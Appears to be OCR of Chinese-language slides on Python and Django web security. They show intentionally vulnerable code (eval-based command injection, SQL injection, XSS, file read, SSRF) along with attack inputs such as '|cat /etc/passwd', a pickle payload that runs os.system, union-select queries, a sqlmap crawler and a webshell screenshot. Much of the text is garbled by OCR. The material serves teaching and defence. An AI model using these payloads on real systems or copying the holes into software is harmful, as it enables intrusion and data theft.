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1. A eEWBLE

E’)Backdoor Hot Found — Mozilla Firefox
VHE REE® TEW RO #Ee IEO o @

8 Backdoor Not Found l -+ |
] L I o thCCA windows\system32

C:\windows\syste

i WebsnellB%E | BIEEE | L&YH | EmailREXH Socket[R3#

FRBEF | HEER (C:\v s\system32) THIZE:
=g BEEnnE

REEER

A

Fiddler: Disabled
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K L

) Backdoor Hot Found — Mozilla Firefox
THE WEEO TEW FRO #Ee IS0 #Ho @ & Wik

| Backdoor Not Found l -+ ‘

€ | || N - ;7 ¢ =t h=DR3A
|

i WebshellBFE

REEER

\

Socket[R3¥

EmailkiEXfF | HhiTams

gBEEFR | EfEXH

FHRB® | HAERE (p:\) THEE:
=g REEkHAE A #BRK B{E

—2z0 U /18143

Fiddler: Disabled




L
| 4

1. N RIS

Webshel 3543 Y5 4 -

ext/html; chi

rackground: §22







K hl. /

/usr/llb p X
/usr/llb/pythonz 6/I|b tk
'fusr/lib/python2.6/lib-old',

'fusr/lib/python2.6/lib-dynload’,
'fusr/local/lib/python2.6/dist-packages’,
'fusr/lib/python2.6/dist-packages’,
'fusr/lib/python2.6/dist-packages/PIL",
'fusr/lib/python2.6/dist-packages/gst-0.10',
'fusr/lib/pymodules/python2.6',
'fusr/lib/python2.6/dist-packages/gtk-2.0',
'fusr/lib/pymodules/python2.6/gtk-2.0"]
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A v X root@bt: ~/scripts
File Edit View Terminal Help
root@t:~/scripts# python

"import site' failed; use -v for traceback
Python 2.6.5 (r265:79063, Apr 16 2010, 13:09:56)
[GCC 4.4.3] on linux2

>>> import os

Traceback (most recent call last):
File "<stdin>", line 1, in <module>

ImportError: No module named os

>>>

Could not find platform independent libraries <prefix>
Consider setting $PYTHONHOME to <prefix>[:<exec prefix>]

Type “help", “copyright”, "credits" or "license" for mi:i/iﬂigﬁmatteﬂﬁ

e =

By
A
v ‘.'7"9. ’

e

.

a A"

Yo

B“J.
. &
s b

n;\
9 $
2hew

Lad
.

22 v

e TP

Y "_;3.3

. -
f Aty *



~|root@bt:~/scripts# | |

A v

_ % ‘root@bt: ~/scripts
File Edit View Terminal Help

root@bt:~/scripts# 1s

0S.pY

~ v % root@bt: ~ D

File Edit View Terminal Help

root@bt:~# python i

Could not find platform independent librarie refix>
Consider setting $PYTHONHOME to <prefix>[:<exec prefix>]
‘import site' failed; use -v for traceback

Python 2.6.5 (r265:79063, Apr 16 2010, 13:09:56)
[GCC 4.4.3] on linux2

Type "help", "copyright", "credits" or "license" for more information.
>>> import os
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3. PythonH [)WebX ¢
5 OS2 E NBE A IR B AR .

eval. os.system(). 0s.popen*. subprocess.popen
0s.spawn*. commands.*. popen2.*. pickle

—“/Django’5 1] 4] B.demo, FZEAAL:

def eval test(request):
if request.method == "GET':
return render to response('eval.html',
context lﬂEtdﬂLﬂ_PﬁIHQEtPOHtﬁvt(lﬁIHﬁEt]]
elif request.method == 'POST':

domain = request.POST.get('domzain', '")

command = "os.popen('whois " + domain + "')"

output = eval (command)
return render to response('eval.html', {'output':output.readlines()},
context lﬂEtdﬂLg—FﬁIHQEtFDﬂtﬁVt{lﬁIHﬁEt]J
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3. Python ! (JWeb X

P IE i i 4 google.com:

) Mozilla Firefox

: google. com EL| 1A E_E "L'[I—l_ :

Whois Server Version 2.0

Domain names in the .« .het domains c:
with many different competing reg rs. Go to http ., internic. net
for detailed information.

LOVE, &ND, TOLERANCE. THE-WONDEEBOLTS. CON

GET. ONE. NILLION. DOLLARS. AT. WWW, UNINUNDI. CON
=

Fiddler: Disabled




3. Python+ ) Web X4

AT 18 44 |4 google.com|cat /etc/passwd:

F)Wozilla Firefox
MEFE HREE EEW

| | [http:#F10.1.14.

A

Fiddler: Di=zabled
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os-syst.e

i R

%?ﬁ%ﬂ‘ﬁtlﬂiﬁ

<a href="

0s.system('python exp.py -u )
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3. Python fJWebJ ¢
KA W2

MR 2 NEX Aafiod:
€ s TE B i+ -> i A I SR, FeAl 14 K& sqlmap
IR

hispider.html:

?id=2 |ifconfig"phi spider</a>
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— /N EIERE S, CHurlfE{RF ANlist, &G
% — E 25 sqlmaptaillsgl inj:

class MyParser(sgmllib.SGMLParser):
def parse(self, s):
self.feed(s)
self.close ()
1n1t (self, wverbose=0):
sgmlllb SGMLParser. 1init (self, verbose)
self.links = []
self.images = []
start a(self, attr):
for k, v in attr:
if k =="hretf”™ oxr "src":
1s.append (v)

req = urllib2.Request('http://10.1.14.3/hispider.html")
response = urllib2.urlopen (req)
html = response.read()
my = MyParser ()
my.parse (html)
?for 1 in 1s:
os.5ystem('python /pentest/database/sglr sqlmap.py -u %$s' % 1)
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A v % root@bt: ~/scripts

| File Edit View Terminal Help

Y root@bt ~/scripts# python sp.py
v s h =

Link encap: Ethernet Hwaddr ©0:0c:29:
inet addr:10.1.14.200 Bcast:10.1.14. 255 Mas s
inet6 addr: fe80::20c:29ff:feb9:
UP BROADCAST RUNNING MULTICAST MTU:
RX packets:26 errors:© dropped:® ove
TX packets:23 errors:0 dropped:0 overruns:® carrief:o
collisions:0 txqueuelen:1000

RX bytes:2734 (2.7 KB) TX bytes:1781 (1.7 KB)
Interrupt:19 Base address:0x2000

0 Link encap:Local Loopback 1
dr:127.0 ask$255.0,0. I | —
V4 /meig%d%. I ope,Hosgdes'gﬁ  \/
UpP LOOPBACK,RUNNING 'MTU:16436 Metric:1
RX packets:27 errors:0 dropped:® overruns:0 frame:0
TX packets:27 errors:0 dropped:0 overruns:@ carrier:0
collisions:® txqueuelen:®

RX bytes:1745 (1.7 KB) TX bytes:1745 (1.7 KB)

Traceback (most recent call last):
File "/usr/lib/python2.6/logging/ init .py", line 792, in emit
self.flush()




import pickle
pickle.loads("cos\nsystem\n(S'ifconfig\ntR.")
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1 @rootﬁbt:

Type "help”, "copyright™, "credits” or "license” for more information.

=== 1mport pickle
pickle.logds{ " cos™n em~n{5"1fconfig'»ntRk. "

eth@ Link encap:Ethernet HWaddr @@:@c:29:b%:84:5b

inet addr:18.1.14.206G Bcast:18.1.14.255 Mask:255.255.255.6

inett addr: fed@::20c:29ff:{feb9:45b/ 64 Scope:link

UP BROADCAST RUNNING MULTICAST MTU:158@ Metric:1

RX packets:111 errors:® dropped:® overruns:® frame:®

TX packets:78 errors:® dropped:@ overruns:® carrier:@

collisions: @ txqueuelen:lOGd

RX bytes:13897 (13.8 KB) TX bytes:9947 (9.9 KB)

Interrupt:19 Base address:@xZ2006

o Link encap:lLocal Loopback
inet addr:127.8.8.1 Mask:255.6.6.0
inett addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
EX packets:89 errors:@ dropped:@ overruns:®@ frame:@
TX packets:89 errors:® dropped:@ overruns:@ carrier:@
collisions: @ txqueuelen:@
RX bytes:6193 (6.1 KB) TX bytes:6193 (6.1 KB)

e I -

27 http://nadiana.com/python-pickle-insecure






..‘.'::‘é. "
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N B 2 F Python (Django) 5 -

def sgli(request):
from django.db import connection

cursor = conhection.cursor()

if cursor.execute(sgl):

content = cursor.fetchone ()}
=r = content[1]
content[2]
content[3]

return rEMjuL_
cont},
context instance=RequestContext (reguest))

BANGE AR, LEIdKE AT A
SQLIEA#A T EHERIE, FESQLIEN.
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E)Bozilla Firefox
HEE (E) TH W

(F) THET) #ERNH) " Ei? oS

= & SQL- X558 EILI:I'}TIti on  Enco 'iil'l.;=__':" Othear-

Load 1EL

Split UEL

Encodingw Uther-

li?id=-1 union select 1,
E)Bozilla Firefox

RigE) TWE W) TEm #@o @

0, oull, oull | 4

= ¢ SHL- X535+ Encryptiont Encodings Other-

Load UEL ].'LttIIZ_n.r_ f=qlifid=—1 union = t null, all,
Split UREL
Execute

I_ Enable Eaferrer

=qliTid=—1 union select null, nmll, user

(), nll, a1l

null B nall

o

T
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name = request.GET['n

Tdef hi xss(request):
return HttpRe ﬁll"‘:I‘l‘wH( 1' =llo, %s3' % name)

EJ hella. ].'l.tmll
hello, {{ name }}

name )

name})
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— A B ) & FR A

def read file(request):
filename = request.GET["filename"]

content = open(filename) .read()
return HttpResponse (content)

E)Mozilla Firefox

Mt E O RIEE TEW

=T
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R E R URL 5 BERT

Ereqnest test — ed lab — Tindows Internet Explorer

Al = request test — ed lab

=

5.0 (Wind 6.1: / 6.5 (HHIML, like Gecko)
Safari/ 53
google . com/

Cookie:

POST DATA: [7]

e

HTTP EESPONSE-:
content-length: 7511

set—cookie: BATDUI T215FFSCZ2Z04FOEDECOSERZDETTAFC :FG=1; expires=5at, l4-Apr-42
14:55:55 GMTI; path domain=.baldu.com

expl : Bat, 14 BApr 2012 14:55:55 GMT

server: BWS/1.0

connection: Close

cache-control: private

date: Sat, 14 Apr 2012 14:55:55 GHMT

p3p: CP=" OTI DSP COR IVA OUR IND COM ™
content-type: text/html;charsec=gh2312

html ;chars g itle><style>html

overflow-y:autolbody{fonc:12
hody, b, form,ul, li{margin:0;
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SR file s 430

&greqnest test — ed lab — Windows Intermnet Explorer

3

A (2 request test - ed lab

#5.0 (Windows NT &.1; WOWe4) AppleWebEit (EHTML, like Geckao)

Safari/
.google. com/

Cookie:

POST DATA: [7]

HTTP REESPONSE:

lasc-modified: Fri, 13 Apr 2012
content-length: 1638
content-type: text/plain

fapool/news
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url = req.REQUEST.get ('url")
tmp url = url.lower ()
if not tmp url.startswith(('r

return json = {'success':( 'T'n : ;-thfff 'https PR TR )
return HttpResponse (simplejson.dumps (return json) mlmwtvpp=1_lr

URAR] S0 2

lcation/

json')
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=37 9] http://10.1.14.3/urllib2_poc.php

urllib2_poc.php HJJERS:

<7p hp

header ("Location: file:///etc/passwd");


http://10.1.14.3/urllib2_poc.php

3. Python ) WebX i

Erequest test - ed labh — Tindows Internet Explorer

Ii'__\;? hitp:/f10.. .. pj ] || X '@ request test — ed lab x | |

J———

http://10.1.14_3/urllib2_poc_php |GET =]
REQ HEADERS:

User-Agent: Mozillas5.0 (Windows NT &6.1; WOWe4) LppleWebKit/536.5 (HHTML, like Gecko)
Chrome/19.0.1084.15 Safari/536.5

Referer: http://www.google.com/
Cookie:

POST DATA: [7]

HTTP RESPONSE:

last-modified: Fri, 13 Apr 2012 17:25:26 GMT
content-length: 1638

content—-type: text/plain

root:x:0:0:root: froot: bin/bash
daemon:x:1:1:daemon: /fusr/sbin: /bin/sh
Ibin:x:2:2:bin:/bin: /bin/sh
sy=:x:3:3:sys:/dev:/bin/=sh
sync:x:4:65534::sync: /bin: /bin/=sync
games:x:5:60:games: fusr/games: /bin/sh
man:x:6:12 :man: /var/cache/man: /bin/sh
lp:x:7:7:1p: /var/spool/lpd: /bin/=sh
mail:x:8:8:mmail: /var/mail: /bin/=sh
news:x:9:9:news: /var/spool/news: /bin/sh
®x:10:10:uncp: fvar/spool /uucp: /bin/sh

uucp










